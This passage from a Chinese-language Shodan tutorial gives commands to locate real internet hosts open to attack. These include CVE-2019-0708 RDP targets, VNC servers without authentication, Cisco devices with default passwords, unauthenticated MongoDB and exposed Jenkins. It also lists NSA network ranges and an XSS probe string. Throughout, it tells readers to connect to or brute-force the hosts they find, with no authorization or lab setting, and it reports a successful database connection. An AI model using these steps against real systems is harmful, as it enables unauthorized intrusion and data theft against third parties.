shodan parse --fields ip_str,port 0708.json.gz >>vuln0708.txt
注:此命令为将压缩的 json 文件中的 ip 地址和 port 内容重定向输出到 0708.txt 文本 文件中。
注:查到的所有漏洞信息都在这个 json 文件中了。
也可以把 json 文件拷到 windows 下,通过解压工具诸如: winrar 等工具解压后看内容
6.3、为什么要用 cve 的十六进制字符串(指纹特征)
因为: shodan search vuln:cve -2019-0708 命令对于学术账号无权限使用,需要注册更 ⾼一级账户。
6.4 、count 计数
命令:
shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
含义: cve-2019-0708 漏洞在shodan 服务器的库里有多少条。 注:是单双引号对
命令: shodan honeyscore ip 地址 撒旦自带的一个工具,可判断 ip 地址是否是蜜罐
也可在网⻚端查找: https://honeyscore.shodan.io/
示例: 1、先查出一批地址:
命令: shodan honeyscore 153.227.158.222
或通过 shodan 的 GUI 界面查。如下:
6.5 、查看主机历史记录数据的命令
以百度为例,先 ping 下百度,查到百度的 ip 地址
注:是 baidu,而不是www.baidu, 因为二者对应的 IP 地址不同。
命令: shodan host 39.156.66.10 – history 注: 有些 IP 地址查不到历史记录。 示例: 对 160.251.63.158 该 IP 的历史记录进⾏搜索
其 3389 端⼝在2022 年 10 月 22 日开启过 。这段信息描述了一个使用 RDP 协议并通过 3389 端⼝进⾏通信的系统。该系统使用了⾃签名或内部证书,并⽀持较新的 TLS 版本 以确保通信的安全性。此外,它还采用了 2048 位的 Diffie-Hellman 参数来进⾏安全的 密钥交换,这表明系统在安全性⽅面采取了一定的措施。
6.6 、VNC 空密码连接
VNC 是一个远程连接工具,其空密码漏洞可以通过 shodan 库来查找。
VNC (Virtual Network Computing) 是一种轻型远程控制软件, 它允许用户通过网络 从一台计算机上连接到另一台计算机,并完全控制它。 VNC 的工作⽅式是将屏幕上的 变化编码并发送到客户端,同时将用户的键盘鼠标操作传送到服务器端。这种设计使 得 VNC 可以在不同的操作系统之间进⾏交互, 包括 Windows 、Linux 、macOS 等。
VNC 的主要特点
• 跨平台: VNC ⽀持多种操作系统,可以在不同平台上进⾏远程控制。
• 简单易用:用户只需输入服务器的 IP 地址和密码,就可以开始远程控制。
• 灵活性: VNC ⽀持多种协议和端⼝,可以根据需要进⾏配置。
VNC 的安全性
尽管 VNC 提供了便利的远程控制功能, 但它也存在一定的安全性问题。如果 VNC 服 务器没有设置密码或者密码过于简单,就可能导致未经授权的访问。此外,如果 VNC 服务器直接暴露在互联网上,也可能成为攻击者的目标 ,默认情况下,它使用的是 5900 端⼝及其后的连续端⼝ 。
命令: shodan search --limit 3 --fields ip_str “authentication disabled” port:5900 country:jp
注:
• --fields ip_str:指定只显示搜索结果中的 IP 地址 (ip_str 表示 IP 字符串)。 这样 可以精简结果内容,只获取最关键的 IP 信息,⽅便后续分析或操作。
• “authenticationdisabled”:这是一个搜索条件,表示要查找那些认证(身份验证) 被禁用的目标。 在网络环境中, 认证被禁用可能存在安全风险, 这种查询有助于 发现可能存在安全隐患的设备或服务。
• port:5900:指定搜索的目标是端⼝为 5900 的设备或服务。结合前面提到的端⼝
5900 通常与VNC 服务相关, 这个查询可能是在寻找端⼝ 5900 (可能是 VNC 服 务)且认证被禁用的设备的 IP 地址。
注: --fields ip_str “authentication disabled” port:5900 country:jp 的含义是:过滤符合 条件的信息,只显示查找到的 ip 地址(符合查找条件的) ,格式为 ip_str;查找的条件是: “authentication disabled” port:5900
需要用到一个工具: VNC 工具:
然后从搜到的选择一个 ip 地址用VNC 进⾏连接,因为VNC 空密码漏洞就是没有密 码,可以直接连进去的。
可以使用 download 命令, 将疑似能够被 VNC 空密码连接的 IP 地址信息下载到 kali :将 shodan 库中查询结果下载到本地 jison.gz 压缩文件中:
命令: shodan download --limit 100 “authentication disabled” port:5900 country:jp
然后进⾏解压解析查看:
shodan parse --fields ip_str '/root/authentication disabled.json.gz' >vnc.txt
6.7、搜索路由器、交换机及其他信息
➢ 命令: shodan myip 含义:查看本电脑的出⼝ ip 地址, 即哪个 IP 连接的是公 网。
使用 shodan 查看一下被黑过的网站:已经被挂过黑⻚、已经被攻破的网站(因有 hacker 会留下一些诸如到此一游等的炫技痕迹)
➢ 命令: shodan search --limit 10 --fields ip_str,port http.title:hacked by
其中: --fields ip_str,port http.title:hacker by :ip_str,port 表示查找符合条件的信息 后,进⾏过滤并只显示 IPv4 地址和端⼝; ”http.title:hacker by”为查找条件。
多条件联合查询:注: 关注查询条件的写法
命令:shodan search --limit 10 --fields ip_str,port http.title:hacked by country:cn city:beijing
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by" "country:cn city:beijing"
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by" "country:cn" "city:beijing"
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by country:cn city:beijing"
可将搜出的 IP 地址在浏览器中访问验证。注: 痕迹信息可以是多种多样的,不仅仅是 hacked by;可以根据⾃己的想象⼒去搜。
➢ 通过 html 的 title 查找其他信息示例
命令: shodan search --limit 10 --fields ip_str,port http.title:mysql
搜出的地址可在浏览器中访问验证。可以搜一搜关键字:后台
➢ 搜索存在弱⼝令的设备
Cisco 设备: shodan search --limit 10 --fields ip_str,port "cisco -authorized port:23"
注:参数-authorized 为带有弱⼝令特征的,查到的设备可以用远程连接工具进⾏连接 或爆破。 Cisco 路由器默认用户名和密码:user:admin/cisco;passwd :cisco。需要 用远程连接工具进⾏连接。如: FinalShell 工具
6.8、利用 shodan 搜索一个⽹段
➢ www.nsa.gov 美国安全局官⽅网站。可通过 google 搜出其网段 命令: shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24
上面为美国安全局官网的一个网段。挂上代理后可以尝试着通过浏览器访问 IP 地址, 注:若不挂代理则无法访问。也可用 shodan host ip 地址 看下主机情况,注意若 CVE 太多则需要查看下是否为蜜罐。 通过这种⽅法找一下相关资产。
➢ 搜索一些组织的 IP 地址
命令: shodan search --limit 10 --fields ip_str,port org:nsa
命令: shodan search --limit 10 --fields ip_str,port org:nsa has_vuln:true
可通后 host ip 查询具体情况。
➢ 查找安装了安全狗 waf 的网站
命令: shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog
可以用 host ip 看具体信息,及通过浏览器访问尝试、验证是否装了安全狗:在 URL 里 直接输入<script>alert(‘AAA’)</script>代码, 如下:
➢ 搜索响应中的 html ⻚面中带有关键字的 ip 地址,与 title 类似
命令: shodan search --limit 10 --fields ip_str,port country:cn http.html:login
可通过浏览器访问: ip 地址:端⼝, 找到一些登录界面
命令: shodan search --limit 10 --fields ip_str,port country:cn http.html:”皓峰防火墙系 统登录”
➢ 搜 mangodb 未授权登录数据库 需下载专用连接工具, 如:Navicat 等
必学的, 因成功率很⾼很⾼。
命令: shodan search --limit 10 --fields ip_str "Mongodb server information - authentication" port:27017
使用连接工具 Navicat 连接:新建连接,并设置相关参数
已连接上。
常见数据库的默认 TCP 端⼝:
➢ 关系型数据库
1 、 MySql 3306;
2 、Oracle 1521;
3 、Sql Server 1433
4 、 DB2 5000;
5 、 PostgreSQL 5432;
➢ NoSql 数据库(非关系型数据库) :
1.Redis 6379;
2.Memcached 11211 ;
3.MongoDB 27017;
Jenkins 组件介绍
Jenkins 组件主要有以下作用:
一、⾃动化构建与部署
能⾃动从代码仓库获取代码并进⾏编译、打包等构建操作。可以把构建好的成果 ⾃动部暑到不同环境中。
二、⾃动化测试
⾃动运⾏各种测试,如单元测试、集成测试等
三、任务管理
可设置定时任务,按特定时间⾃动执⾏工作。能管理任务问的依赖关系。监控任 务状态, 失败时通知相关⼈员。
四、可扩展定制
有很多插件可满⾜不同的需求,也能⾃⾏开发插件。⾃动测试、⾃动测试、⾃动 回滚。
五、在渗透测试过程中的辅助作用
⾃动化测试:Jenkins 可以用于⾃动化渗透测试过程中的一些任务,如漏洞扫描、 安全测试等。通过编写 Jenkins 任务, 可以定期对目标系统进⾏安全测试,提⾼测试 效率和覆盖范围。
持续集成与持续部署(CI/CD):在一些企业中,Jenkins 被用于 CI/CD 流程中。渗 透测试⼈员可以利用 Jenkins 的 CI/CD 流程,在开发和部署过程中进⾏安全测试, 及 时发现和修复安全问题。
漏洞管理:Jenkins 可以与漏洞管理工具集成, 帮助企业管理和跟踪安全漏洞。渗 透测试⼈员可以利用 Jenkins 的漏洞管理功能, 了解目标系统中存在的安全漏洞,并制 定相应的攻击策略。
总之, Jenkins 在渗透测试中既可能是攻击目标,也可以作为辅助工具。渗透测试 ⼈员需要了解 Jenkins 的安全风险和漏洞,以及如何利用 Jenkins 来提⾼渗透测试的 效率和效果。同时,企业也需要加强 Jenkins 的安全配置和管理以防止被攻击者利 用)。
换一个思路:因 Jenkins 组件的企业使用者众多,可以通过shodan 找到 Jenkins 组件的 IP 地址,然后从其渗透, 即可掌握很多其管理的漏洞及相关信息。如下:
命令: shodan search --limit 10 --fields ip_str "X -Jenkins" OR "Set-cookie:JESSIONID" http.title:"Dashboard" 其中:
shodan search:表示使用 Shodan 进⾏搜索操作;--limit 10:限制搜索结果的致量 为 10 个; --fields ip_str:指定只返回搜索结果中的 IP 地址字段;”X-Jenkins" OR “Set- cookie:JSESSIONID”:这是搜索条件,意味着搜索结果中要么响应头包含“X-Jankins”,要 么“Set-cookie” 的值包含 “JSESSIONID”。使用 OR 逻辑运算符连接了这两个条件,扩大了搜索的范围。http.title:"Dashboard":另一个搜索条件, 表示 HTTP 响应的标题 中包 含“Dashboard”这个字符串。
然后,可以通过浏览器去访问这些 IP 地址进⾏确认,也可以通过 host IP 查看详细信息。
6.9 、shodan 的 GUI 界面
url:https://www.shodan.io/search 例:搜 0708 的漏洞
注:在搜索框里搜索跟在命令⾏里面搜索是一样的,但是此处为双引号“”对。
搜摄像头的信息:webcam、camera等
命令: shodan search --limit 10 --fields ip_str,port product:Apache httpd
命令: shodan search --limit 10 --fields ip_str,port org:Tencent cloud
注:在 TOTAL 项下,有与 product :相匹配的各种产品的关键词,诸如: nigx、 Apache httd 等; 在 product 的下拉菜单里有可以使用的各种关键词,诸如:
http.waf 、http.title 等,可以设置查询条件,诸如:http.title: ,相应的左侧会显示与 http.title 相匹配的内容,如下:
命令: hodan search --limit 100 --fields ip_str,port mgtv
Monitor (shodan 的一个模块,用来监控网站、域名、 ip 用的),学术会员可以监控⼤ 约 16 个 IP 地址。
Manage (资产管理 添加要监控的网站 ip)
Settings (设置通知邮件)
dashboard (现有监控的一些信息 端⼝ 漏洞 ip 地址(存在 cdn 就会有多个地址))
6.10 、几条命令的介绍
➢ alert 命令
命令: shodan alert -h
与上一个 GUI 中配置 monitor 模块相对应,用 GUI 配置更⽅便。
➢ shodan info 该账户每个月剩余的查询积分、 次数
命令: shodan info
➢ shodan domain 查询域名信息, 有很多查域名的工具, 不一定需要用shodan 命令: shodan domain www.litisheng
➢ scan
命令: shodan scan -h
shodan 是非实时工具 ,可能我们扫描一个!P 地址,其信息是几个月之前的若我们如果
说要 shodan 时实的去扫描 就用 scan 命令。 示例:
命令: shodan scan submit 39.108.166.129
与 nmap 的扫描各有千秋, 可配合使用。
命令: shodan scan list 查看扫描记录
➢ stats 统计命令
命令: shodan stats --facets ssl.version country:cn has_ssl:true http
此命令的含义是:统计中国使用了ssl 的 ip 地址,并用版本做了一个统计。
注: 要学会多条件组合查询,或搜索。
结合 port 端⼝对应的服务去搜
3306-MySQL
25-SMTP
80- HTTP
110-POP3
443- HTTPS
143 – IMAP
21 – FTP
53- DNS
22-SSH
5432-PostgreS0L 数据库服务器
3389-远程来面协议(RDP)
69-TFTP
137-139- NetBl0s 端⼝
67-68- DHCP
示例:
命令: shodan search --limit 30 --fields ip_str,port org:Tencent cloud port:3389
可以使用远程桌面连接工具连接尝试。
截图搜索参数 has_screenshot:true cisco 示例: 使用 GUI 界面
搜索截图功能打开的设备, 此处为cisco 设备 。可以通过 RDP 连接工具对搜出的 IP 地 址进⾏连接尝试